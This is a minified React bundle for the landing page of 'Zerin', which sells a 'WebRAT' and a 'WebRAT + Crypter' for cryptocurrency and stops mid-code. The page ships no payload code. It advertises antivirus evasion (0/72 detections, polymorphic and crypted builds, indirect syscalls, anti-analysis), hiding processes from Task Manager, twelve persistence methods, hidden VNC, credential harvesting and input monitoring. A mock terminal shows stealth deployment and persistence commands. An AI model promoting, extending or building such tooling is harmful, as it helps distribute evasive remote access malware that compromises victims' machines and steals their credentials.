s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),WA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function UA(){const e=RA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(DA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:BA.map((u,d)=>s.jsx(FA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:$A.map((u,d)=>s.jsx(WA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(Es,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(Es,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(Es,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(Es,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(Es,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(dt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 